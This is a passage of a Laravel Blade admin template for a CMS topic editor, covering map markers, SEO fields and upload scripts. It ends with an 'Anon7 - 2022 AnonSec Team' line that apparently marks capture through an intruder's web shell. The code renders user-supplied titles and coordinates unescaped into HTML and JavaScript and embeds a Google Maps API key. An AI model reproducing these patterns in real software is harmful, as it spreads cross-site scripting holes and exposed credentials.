                                                                <label for="link_status"
                                                                       class="col-sm-3 form-control-label">{!!  trans('backLang.topicMapIcon') !!}</label>
                                                                <div class="col-sm-9">
                                                                    <div class="radio">
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','0',true, array('id' => 'status1','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_0.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','1',false, array('id' => 'status2','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_1.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','2',false, array('id' => 'status2','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_2.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','3',false, array('id' => 'status2','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_3.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','4',false, array('id' => 'status2','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_4.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','5',false, array('id' => 'status2','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_5.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                        <label class="ui-check ui-check-md">
                                                                            {!! Form::radio('icon','6',false, array('id' => 'status2','class'=>'has-value')) !!}
                                                                            <i class="dark-white"></i>
                                                                            <img src="{{ URL::to('backEnd/assets/images/marker_6.png')}}"
                                                                                 style="width: 25px;">
                                                                        </label>
                                                                    </div>
                                                                </div>
                                                            </div>

                                                        </div>
                                                    </div>
                                                    <div class="modal-footer">
                                                        <button type="button"
                                                                class="btn dark-white p-x-md"
                                                                data-dismiss="modal">{{ trans('backLang.cancel') }}</button>
                                                        <button type="submit"
                                                                class="btn btn-primary p-x-md">{!! trans('backLang.add') !!}</button>
                                                    </div>
                                                    {{Form::close()}}
                                                </div><!-- /.modal-content -->
                                            </div>
                                        </div>
                                        <div class="row p-a" style="display: none">
                                            <div class="col-sm-12">
                                                <button class="btn btn-fw primary" data-toggle="modal"
                                                        data-target="#mmn-{{ $Topics->id }}"
                                                        ui-toggle-class="bounce" id="mapNew"
                                                        ui-target="#animate">
                                                    <i class="material-icons">&#xe02e;</i>
                                                    &nbsp; {{ trans('backLang.topicNewMap') }}
                                                </button>
                                            </div>
                                        </div>
                                        @if(count($Topics->maps) == 0)
                                            <div class="row p-a" id="mapDivBtns">
                                                <div class="col-sm-12">
                                                    <div class=" p-a text-center light ">
                                                        {{ trans('backLang.noData') }}
                                                        <br>
                                                        <br>
                                                        <a class="btn btn-fw primary" id="mapDivNew">
                                                            <i class="material-icons">&#xe02e;</i>
                                                            &nbsp; {{ trans('backLang.topicNewMap') }}
                                                        </a>

                                                    </div>
                                                </div>
                                            </div>
                                        @endif
                                        <div class="col-sm-5">
                                            @if(count($Topics->maps)>0)
                                                {{Form::open(['route'=>['topicsMapsUpdateAll',$WebmasterSection->id,$Topics->id],'method'=>'post'])}}
                                                <div class="row">
                                                    <table class="table table-striped  b-t">
                                                        <thead>
                                                        <tr>
                                                            <th style="width:20px;">
                                                                <label class="ui-check m-a-0">
                                                                    <input id="checkAll3" type="checkbox"><i></i>
                                                                </label>
                                                            </th>
                                                            <th>{{ trans('backLang.topicCommentName') }}</th>
                                                            <th class="text-center"
                                                                style="width:30px;">{{ trans('backLang.status') }}</th>
                                                            <th class="text-center"
                                                                style="width:110px;">{{ trans('backLang.options') }}</th>
                                                        </tr>
                                                        </thead>
                                                        <tbody>
                                                        <?php
                                                        $title_var = "title_" . trans('backLang.boxCode');
                                                        $title_var2 = "title_" . trans('backLang.boxCodeOther');
                                                        ?>
                                                        @foreach($Topics->maps as $map)
                                                            <?php
                                                            if ($map->$title_var != "") {
                                                            $title = $map->$title_var;
                                                            } else {
                                                            $title = $map->$title_var2;
                                                            }
                                                            ?>
                                                            <tr>
                                                                <td><label class="ui-check m-a-0">
                                                                        <input type="checkbox" name="ids[]"
                                                                               value="{{ $map->id }}"><i
                                                                                class="dark-white"></i>
                                                                        {!! Form::hidden('row_ids[]',$map->id, array('class' => 'form-control row_no')) !!}
                                                                    </label>
                                                                </td>
                                                                <td>
                                                                    {!! Form::text('row_no_'.$map->id,$map->row_no, array('class' => 'pull-left form-control row_no','id'=>'row_no3')) !!}
                                                                    <img src="{{ URL::to('backEnd/assets/images/marker_').$map->icon.".png" }}"
                                                                         style="width: 20px;">
                                                                    @if($title !="")
                                                                        <small>{!! $title !!}</small>
                                                                    @else
                                                                        <small>
                                                                            {!! $map->longitude !!}
                                                                        </small>
                                                                    @endif
                                                                </td>

                                                                <td class="text-center">
                                                                    <i class="fa {{ ($map->status==1) ? "fa-check text-success":"fa-times text-danger" }} inline"></i>
                                                                </td>
                                                                <td class="text-center">
                                                                    <a class="btn btn-sm success"
                                                                       href="{{ route("topicsMapsEdit",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"map_id"=>$map->id]) }}">
                                                                        <small><i class="material-icons">
                                                                                &#xe3c9;</i></small>
                                                                    </a>
                                                                    @if(@Auth::user()->permissionsGroup->delete_status)
                                                                        <button class="btn btn-sm warning"
                                                                                data-toggle="modal"
                                                                                data-target="#mm-{{ $map->id }}"
                                                                                ui-toggle-class="bounce"
                                                                                ui-target="#animate">
                                                                            <small><i class="material-icons">
                                                                                    &#xe872;</i></small>
                                                                        </button>
                                                                    @endif

                                                                </td>
                                                            </tr>
                                                            <!-- .modal -->
                                                            <div id="mm-{{ $map->id }}" class="modal fade"
                                                                 data-backdrop="true">
                                                                <div class="modal-dialog" id="animate">
                                                                    <div class="modal-content">
                                                                        <div class="modal-header">
                                                                            <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                                        </div>
                                                                        <div class="modal-body text-center p-lg">
                                                                            <p>
                                                                                {{ trans('backLang.confirmationDeleteMsg') }}
                                                                                <br>
                                                                                <strong>{!! $title !!}</strong>
                                                                                <br>
                                                                                <small>[
                                                                                    {!! $map->longitude !!}
                                                                                    , {!! $map->latitude !!}
                                                                                    ]
                                                                                </small>

                                                                            </p>
                                                                        </div>
                                                                        <div class="modal-footer">
                                                                            <button type="button"
                                                                                    class="btn dark-white p-x-md"
                                                                                    data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                                            <a href="{{ route("topicsMapsDestroy",["webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id,"map_id"=>$map->id]) }}"
                                                                               class="btn danger p-x-md">{{ trans('backLang.yes') }}</a>
                                                                        </div>
                                                                    </div><!-- /.modal-content -->
                                                                </div>
                                                            </div>
                                                            <!-- / .modal -->
                                                        @endforeach

                                                        </tbody>
                                                    </table>

                                                </div>
                                                <div class="row">
                                                    <div class="col-sm-12 hidden-xs">
                                                        <!-- .modal -->
                                                        <div id="mm-all" class="modal fade" data-backdrop="true">
                                                            <div class="modal-dialog" id="animate">
                                                                <div class="modal-content">
                                                                    <div class="modal-header">
                                                                        <h5 class="modal-title">{{ trans('backLang.confirmation') }}</h5>
                                                                    </div>
                                                                    <div class="modal-body text-center p-lg">
                                                                        <p>
                                                                            {{ trans('backLang.confirmationDeleteMsg') }}
                                                                        </p>
                                                                    </div>
                                                                    <div class="modal-footer">
                                                                        <button type="button"
                                                                                class="btn dark-white p-x-md"
                                                                                data-dismiss="modal">{{ trans('backLang.no') }}</button>
                                                                        <button type="submit"
                                                                                class="btn danger p-x-md">{{ trans('backLang.yes') }}</button>
                                                                    </div>
                                                                </div><!-- /.modal-content -->
                                                            </div>
                                                        </div>
                                                        <!-- / .modal -->

                                                        <select name="action" id="action3"
                                                                class="input-sm form-control w-sm inline v-middle"
                                                                required>
                                                            <option value="">{{ trans('backLang.bulkAction') }}</option>
                                                            <option value="order">{{ trans('backLang.saveOrder') }}</option>
                                                            <option value="activate">{{ trans('backLang.activeSelected') }}</option>
                                                            <option value="block">{{ trans('backLang.blockSelected') }}</option>
                                                            @if(@Auth::user()->permissionsGroup->delete_status)
                                                                <option value="delete">{{ trans('backLang.deleteSelected') }}</option>
                                                            @endif
                                                        </select>
                                                        <button type="submit" id="submit_all3"
                                                                class="btn btn-sm white">{{ trans('backLang.apply') }}</button>
                                                        <button id="submit_show_msg3" class="btn btn-sm white"
                                                                data-toggle="modal"
                                                                style="display: none"
                                                                data-target="#mm-all" ui-toggle-class="bounce"
                                                                ui-target="#animate">{{ trans('backLang.apply') }}
                                                        </button>
                                                    </div>
                                                </div>
                                                {{Form::close()}}
                                            @endif
                                        </div>
                                    </div>
                                    <?php
                                    $map_dsp = "style='display:none'";
                                    $map_wds = "12";
                                    if (count($Topics->maps) > 0) {
                                    $map_dsp = "";
                                    $map_wds = "7";
                                    }
                                    ?>
                                    <div id="mapDiv" class="col-sm-{{$map_wds}}" {!! $map_dsp !!}>

                                        <br>
                                        <div style="margin-bottom: 3px;">
                                            <small>
                                                {!! trans('backLang.topicMapClick') !!} ,
                                                <a data-toggle="modal"
                                                   data-target="#mmn-{{ $Topics->id }}"
                                                   ui-toggle-class="bounce"
                                                   ui-target="#animate">
                                                    <u>
                                                        {!! trans('backLang.topicMapORClick') !!}
                                                    </u>
                                                </a>
                                            </small>
                                        </div>
                                        <div id="map" style="height: 400px"></div>
                                    </div>
                                @endif
                            </div>

                        </div>
                    </div>
                @endif

                @if(Helper::GeneralWebmasterSettings("seo_status"))
                    <div class="tab-pane  {{ $tab_2 }}" id="tab_seo">

                        <div class="box-body">
                            {{Form::open(['route'=>['topicsSEOUpdate',"webmasterId"=>$WebmasterSection->id,"id"=>$Topics->id],'method'=>'POST'])}}
                            <div class="row">
                                <div class="col-sm-6">
                                    @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.topicSEOTitle') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.turkishBox') !!}</small> @endif

                                                {!! Form::text('seo_title_tr',$Topics->seo_title_tr, array('class' => 'form-control','id'=>'seo_title_tr','maxlength'=>'65', 'dir'=>trans('backLang.ltr'))) !!}
                                            </div>
                                        </div>
                                    @endif

                                    @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.friendlyURL') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.turkishBox') !!}</small> @endif

                                                {!! Form::text('seo_url_slug_tr',$Topics->seo_url_slug_tr, array('class' => 'form-control','id'=>'seo_url_slug_tr', 'dir'=>trans('backLang.ltr'))) !!}
                                            </div>
                                        </div>
                                    @endif

                                    @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.topicSEODesc') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.turkishBox') !!}</small> @endif

                                                {!! Form::textarea('seo_description_tr',$Topics->seo_description_tr, array('class' => 'form-control','id'=>'seo_description_tr','maxlength'=>'165', 'dir'=>trans('backLang.ltr'),'rows'=>'2')) !!}
                                            </div>
                                        </div>
                                    @endif

                                    @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.topicSEOKeywords') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.turkishBox') !!}</small>@endif

                                                {!! Form::textarea('seo_keywords_tr',$Topics->seo_keywords_tr, array('class' => 'form-control','id'=>'seo_keywords_tr', 'dir'=>trans('backLang.ltr'),'rows'=>'2')) !!}
                                            </div>
                                        </div>
                                        <br>
                                        <br>
                                    @endif
                                </div>
                                <div class="col-sm-6">

                                    @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                        <?php
                                        $seo_example_title = $Topics->title_tr;
                                        $seo_example_desc = Helper::GeneralSiteSettings("site_desc_tr");
                                        if ($Topics->seo_title_tr != "") {
                                        $seo_example_title = $Topics->seo_title_tr;
                                        }
                                        if ($Topics->seo_description_tr != "") {
                                        $seo_example_desc = $Topics->seo_description_tr;
                                        }
                                        if ($Topics->seo_url_slug_tr != "" && Helper::GeneralWebmasterSettings("links_status")) {
                                        $seo_example_url = url($Topics->seo_url_slug_tr);
                                        } else {
                                        $seo_example_url = route('FrontendTopic', ["section" => $Topics->webmasterSection->name, "id" => $Topics->id]);
                                        }
                                        ?>
                                        <div class="form-group">
                                            <div>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.turkishBox') !!}</small> @endif
                                                &nbsp;
                                                <div class="search-example" dir="ltr">
                                                    <a id="title_in_engines_tr" href="{{ $seo_example_url }}"
                                                       target="_blank">{{ $seo_example_title }}</a>
                                                    <span id="url_in_engines_tr">{{ $seo_example_url }}</span>
                                                    <div id="desc_in_engines_tr">{{ $seo_example_desc }} ...</div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="form-group">
                                            <div>
                                                <i class="material-icons">&#xe8fd;</i>
                                                <small>{!!  trans('backLang.seoTabSettings') !!}</small>
                                            </div>
                                        </div>
                                        <br>
                                        <br>
                                    @endif
                                </div>
                            </div>
                            <div class="row">
                                <div class="col-sm-6">

                                    @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.topicSEOTitle') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.englishBox') !!}</small> @endif

                                                {!! Form::text('seo_title_en',$Topics->seo_title_en, array('class' => 'form-control','id'=>'seo_title_en','maxlength'=>'65', 'dir'=>trans('backLang.ltr'))) !!}
                                            </div>
                                        </div>
                                    @endif
                                    @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.friendlyURL') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.englishBox') !!}</small> @endif

                                                {!! Form::text('seo_url_slug_en',$Topics->seo_url_slug_en, array('class' => 'form-control','id'=>'seo_url_slug_en', 'dir'=>trans('backLang.ltr'))) !!}
                                            </div>
                                        </div>
                                    @endif

                                    @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.topicSEODesc') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.englishBox') !!}</small> @endif

                                                {!! Form::textarea('seo_description_en',$Topics->seo_description_en, array('class' => 'form-control','id'=>'seo_description_en','maxlength'=>'165', 'dir'=>trans('backLang.ltr'),'rows'=>'2')) !!}
                                            </div>
                                        </div>
                                    @endif
                                    @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                        <div class="form-group">
                                            <div>
                                                <small>{!!  trans('backLang.topicSEOKeywords') !!}</small>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.englishBox') !!}</small> @endif

                                                {!! Form::textarea('seo_keywords_en',$Topics->seo_keywords_en, array('class' => 'form-control','id'=>'seo_keywords_en', 'dir'=>trans('backLang.ltr'),'rows'=>'2')) !!}
                                            </div>
                                        </div>
                                    @endif


                                    <div class="form-group">
                                        <div>
                                            <button type="submit" class="btn btn-primary m-t"><i class="material-icons">
                                                    &#xe31b;</i> {!! trans('backLang.update') !!}</button>
                                            <a href="{{ route('topics',$WebmasterSection->id) }}"
                                               class="btn btn-default m-t"><i class="material-icons">
                                                    &#xe5cd;</i> {!! trans('backLang.cancel') !!}</a>
                                        </div>
                                    </div>
                                    <br>
                                    <br>

                                </div>

                                <div class="col-sm-6">
                                    @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                        <?php
                                        $seo_example_title = $Topics->title_en;
                                        $seo_example_desc = Helper::GeneralSiteSettings("site_desc_en");
                                        if ($Topics->seo_title_en != "") {
                                        $seo_example_title = $Topics->seo_title_en;
                                        }
                                        if ($Topics->seo_description_en != "") {
                                        $seo_example_desc = $Topics->seo_description_en;
                                        }
                                        if ($Topics->seo_url_slug_en != "" && Helper::GeneralWebmasterSettings("links_status")) {
                                        $seo_example_url = url($Topics->seo_url_slug_en);
                                        } else {
                                        $seo_example_url = route('FrontendTopic', ["section" => $Topics->webmasterSection->name, "id" => $Topics->id]);
                                        }
                                        ?>
                                        <div class="form-group">
                                            <div>
                                                @if(Helper::GeneralWebmasterSettings("tr_box_status") && Helper::GeneralWebmasterSettings("en_box_status"))
                                                    <small>{!!  trans('backLang.englishBox') !!}</small> @endif
                                                &nbsp;
                                                <div class="search-example" dir="ltr">
                                                    <a id="title_in_engines_en" href="{{ $seo_example_url }}"
                                                       target="_blank">{{ $seo_example_title }}</a>
                                                    <span id="url_in_engines_en">{{ $seo_example_url }}</span>
                                                    <div id="desc_in_engines_en">{{ $seo_example_desc }} ...</div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="form-group">
                                            <div>
                                                <i class="material-icons">&#xe8fd;</i>
                                                <small>{!!  trans('backLang.seoTabSettings') !!}</small>
                                            </div>
                                        </div>
                                        <br>
                                        <br>
                                    @endif
                                </div>
                            </div>


                            {{Form::close()}}
                        </div>

                    </div>
                @endif
            </div>
        </div>
    </div>
@endsection
@section('footerInclude')
    <script type="text/javascript">
        $("#checkAll").click(function () {
            $('input:checkbox').not(this).prop('checked', this.checked);
        });
        $("#action").change(function () {
            if (this.value == "delete") {
                $("#submit_all").css("display", "none");
                $("#submit_show_msg").css("display", "inline-block");
            } else {
                $("#submit_all").css("display", "inline-block");
                $("#submit_show_msg").css("display", "none");
            }
        });

        $("#checkAll2").click(function () {
            $('input:checkbox').not(this).prop('checked', this.checked);
        });
        $("#checkAll4").click(function () {
            $('input:checkbox').not(this).prop('checked', this.checked);
        });
        $("#action2").change(function () {
            if (this.value == "delete") {
                $("#submit_all2").css("display", "none");
                $("#submit_show_msg2").css("display", "inline-block");
            } else {
                $("#submit_all2").css("display", "inline-block");
                $("#submit_show_msg2").css("display", "none");
            }
        });

        $("#action4").change(function () {
            if (this.value == "delete") {
                $("#submit_all4").css("display", "none");
                $("#submit_show_msg4").css("display", "inline-block");
            } else {
                $("#submit_all4").css("display", "inline-block");
                $("#submit_show_msg4").css("display", "none");
            }
        });

        $("#checkAll3").click(function () {
            $('input:checkbox').not(this).prop('checked', this.checked);
        });
        $("#action3").change(function () {
            if (this.value == "delete") {
                $("#submit_all3").css("display", "none");
                $("#submit_show_msg3").css("display", "inline-block");
            } else {
                $("#submit_all3").css("display", "inline-block");
                $("#submit_show_msg3").css("display", "none");
            }
        });

        $("#mapDivNew").click(function () {
            $("#mapDiv").css("display", "block");
            $("#mapDivBtns").css("display", "none");
        });

    </script>
    @if($WebmasterSection->maps_status)
        <script type="text/javascript"
                src="//maps.google.com/maps/api/js?key=AIzaSyAgzruFTTvea0LEmw_jAqknqskKDuJK7dM&language={{trans('backLang.mapsLanguage')}}"></script>
        <script type="text/javascript">
            $(document).ready(function () {
                // var iconURLPrefix = 'http://maps.google.com/mapfiles/ms/icons/';
                var iconURLPrefix = "{{ URL::to('backEnd/assets/images/')."/" }}";
                var icons = [
                    iconURLPrefix + 'marker_0.png',
                    iconURLPrefix + 'marker_1.png',
                    iconURLPrefix + 'marker_2.png',
                    iconURLPrefix + 'marker_3.png',
                    iconURLPrefix + 'marker_4.png',
                    iconURLPrefix + 'marker_5.png',
                    iconURLPrefix + 'marker_6.png'
                ]

                var map = new google.maps.Map($('#map')[0], {
                    zoom: 7,
                    <?php
                        if(count($Topics->maps) > 0){
                        ?>
                    center: new google.maps.LatLng(<?php echo $Topics->maps[0]->longitude; ?>, <?php echo $Topics->maps[0]->latitude; ?>),
                    <?php
                        }else{
                        ?>
                    center: new google.maps.LatLng(31.012773903012743, 30.208982467651367),
                    <?php
                        }
                        ?>
                    mapTypeId: google.maps.MapTypeId.ROADMAP
                });

                    <?php
                    $title_var = "title_" . trans('backLang.boxCode');
                    $title_var2 = "title_" . trans('backLang.boxCodeOther');
                    if(count($Topics->maps) > 0){
                    foreach($Topics->maps as $map){
                    if ($map->$title_var != "") {
                    $title = $map->$title_var;
                    } else {
                    $title = $map->$title_var2;
                    }
                    ?>
                var latlng1 = new google.maps.LatLng(<?php echo $map->longitude; ?>, <?php echo $map->latitude; ?>);
                var marker = new google.maps.Marker({
                    position: latlng1,
                    icon: icons[<?php echo $map->icon; ?>],
                    title: "<?php echo $title; ?>"
                });
                marker.setMap(map);

                    <?php
                    }
                    }
                    ?>
                var geocoder = new google.maps.Geocoder();
                google.maps.event.addListener(map, 'click', function (e) {
                    var marker = new google.maps.Marker({
                        position: e["latLng"],
                        icon: icons[Math.floor(Math.random() * (6 - 0 + 1) + 0)],
                        title: "New Map"
                    });

                    geocoder.geocode({
                        'latLng': e.latLng
                    }, function (results, status) {
                        if (status == google.maps.GeocoderStatus.OK) {
                            if (results[0]) {
                                @if(Helper::GeneralWebmasterSettings("tr_box_status"))
                                $("#details_tr").val(results[0].formatted_address);
                                @endif
                                @if(Helper::GeneralWebmasterSettings("en_box_status"))
                                $("#details_en").val(results[0].formatted_address);
                                @endif

                            }
                        }
                    });

                    marker.setMap(map);
                    $("#longitude").val(e.latLng.lat());
                    $("#latitude").val(e.latLng.lng());
                    $("#mapNew").click()
                });


                $("#mapTabLink").click(function () {
                    setTimeout(function () {
                        google.maps.event.trigger(map, 'resize');
                    }, 1000);
                });
                $("#mapDivNew").click(function () {
                    google.maps.event.trigger(map, 'resize');
                });


            });
        </script>
    @endif
    <script src="{{ URL::to("backEnd/libs/js/iconpicker/fontawesome-iconpicker.js") }}"></script>
    <script>
        $(function () {
            $('.icp-auto').iconpicker({placement: '{{ (trans('backLang.direction')=="rtl")?"topLeft":"topRight" }}'});
        });

        // Js Slug
        function slugify(string) {
            return string
                .toString()
                .trim()
                .toLowerCase()
                .replace(/\s+/g, "-")
                .replace(/[^\w\-]+/g, "")
                .replace(/\-\-+/g, "-")
                .replace(/^-+/, "")
                .replace(/-+$/, "");
        }

        @if(Helper::GeneralWebmasterSettings("tr_box_status"))
        $("#seo_title_tr").on('keyup change', function () {
            if ($(this).val() != "") {
                $("#title_in_engines_tr").text($(this).val());
            } else {
                $("#title_in_engines_tr").text("<?php echo $Topics->title_tr; ?>");
            }
        });
        $("#seo_description_tr").on('keyup change', function () {
            if ($(this).val() != "") {
                $("#desc_in_engines_tr").text($(this).val());
            } else {
                $("#desc_in_engines_tr").text("<?php echo Helper::GeneralSiteSettings("site_desc_tr"); ?>");
            }
        });
        $("#seo_url_slug_tr").on('keyup change', function () {
            if ($(this).val() != "") {
                $("#url_in_engines_tr").text("<?php echo url(''); ?>/" + slugify($(this).val()));
            } else {
                $("#url_in_engines_tr").text("<?php echo route('FrontendTopic', ["section" => $Topics->webmasterSection->name, "id" => $Topics->id]); ?>");
            }
        });
        @endif
        @if(Helper::GeneralWebmasterSettings("en_box_status"))
        $("#seo_title_en").on('keyup change', function () {
            if ($(this).val() != "") {
                $("#title_in_engines_en").text($(this).val());
            } else {
                $("#title_in_engines_en").text("<?php echo $Topics->title_en; ?>");
            }
        });
        $("#seo_description_en").on('keyup change', function () {
            if ($(this).val() != "") {
                $("#desc_in_engines_en").text($(this).val());
            } else {
                $("#desc_in_engines_en").text("<?php echo Helper::GeneralSiteSettings("site_desc_en"); ?>");
            }
        });
        $("#seo_url_slug_en").on('keyup change', function () {
            if ($(this).val() != "") {
                $("#url_in_engines_en").text("<?php echo url(''); ?>/" + slugify($(this).val()));
            } else {
                $("#url_in_engines_en").text("<?php echo route('FrontendTopic', ["section" => $Topics->webmasterSection->name, "id" => $Topics->id]); ?>");
            }
        });
        @endif
    </script>
    <?php
    if (Session::has('relatedST')){
    if (Session::get('relatedST') == "create"){
    ?>
    <script type="text/javascript">
        $('#related_section_id').change(function () {

            var fid = $(this).val();
            $(document).ready(function () {
                $.ajax({
                    url: '<?php echo url(env('BACKEND_PATH', 'admin')."/relatedLoad"); ?>/' + fid,
                    data: {},
                    success: function (data) {
                        $('#r_topics').html(data)
                    }
                }); //End of Ajax
            });

        });
    </script>
    <?php
    }
    }
    ?>
    <script src="{{ URL::to("backEnd/libs/jquery/summernote/dist/summernote.js") }}"></script>
    <script>
        function sendFile(file, editor, welEditable,lang) {
            data = new FormData();
            data.append("file", file);
            data.append("_token", "{{csrf_token()}}");
            $.ajax({
                data: data,
                type: 'POST',
                xhr: function() {
                    var myXhr = $.ajaxSettings.xhr();
                    if (myXhr.upload) myXhr.upload.addEventListener('progress',progressHandlingFunction, false);
                    return myXhr;
                },
                url: "{{ route("topicsPhotosUpload") }}",
                cache: false,
                contentType: false,
                processData: false,
                success: function(url) {
                    var image = $('<img>').attr('src', '{{ URL::to("uploads/topics/") }}/' + url);
                    if(lang==1) {
                        $('.summernote_en').summernote("insertNode", image[0]);
                    }else{
                        $('.summernote_tr').summernote("insertNode", image[0]);
                    }
                }
            });
        }

        // update progress bar
        function progressHandlingFunction(e){
            if(e.lengthComputable){
                $('progress').attr({value:e.loaded, max:e.total});
                // reset progress on complete
                if (e.loaded == e.total) {
                    $('progress').attr('value','0.0');
                }
            }
        }
    </script>
@endsection

Anon7 - 2022
AnonSec Team